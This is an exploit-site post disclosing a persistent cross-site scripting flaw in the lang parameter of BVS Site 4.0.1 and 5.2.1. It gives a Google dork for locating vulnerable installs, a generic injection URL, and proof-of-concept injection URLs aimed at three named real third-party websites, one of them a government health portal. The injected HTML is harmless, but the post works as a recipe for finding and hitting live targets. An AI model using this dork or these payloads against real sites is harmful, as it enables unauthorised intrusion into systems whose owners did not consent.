Home / exploitsPDF  

BVS Site 4.0.1 / 5.2.1 Cross Site Scripting

Posted on 03 May 2014

[+] Persistent Cross Site Scripting on BVS Site
[+] Date: 02/05/2014
[+] Risk: HIGH
[+] Author: Felipe Andrian Peixoto
[+] Vendor Homepage: http://trac.reddes.bvsalud.org/projects/bvs-site/wiki/Downloads
[+] Contact: felipe_andrian@hotmail.com
[+] Tested on: Windows 7 and Linux
[+] Vulnerable File: index.php
[+] Dork : inurl:"/php/index.php?lang="
[+] vulnerable versions: 4.0.1 , 5.2.1
[+] Exploit : http://host/php/index.php?lang=[XSS]
[+] PoC :http://estacaobvs.saude.gov.br/php/index.php?lang=<center>Felipe Andrian Peixoto</center>
 http://www.scielo.org/php/index.php?lang=<center>Felipe Andrian Peixoto</center>
 http://www.bvmemorial.fapesp.br/php/index.php?lang=<center>Felipe Andrian Peixoto</center>

ps:others versions may be affected

 

TOP

Malware :

Exploits :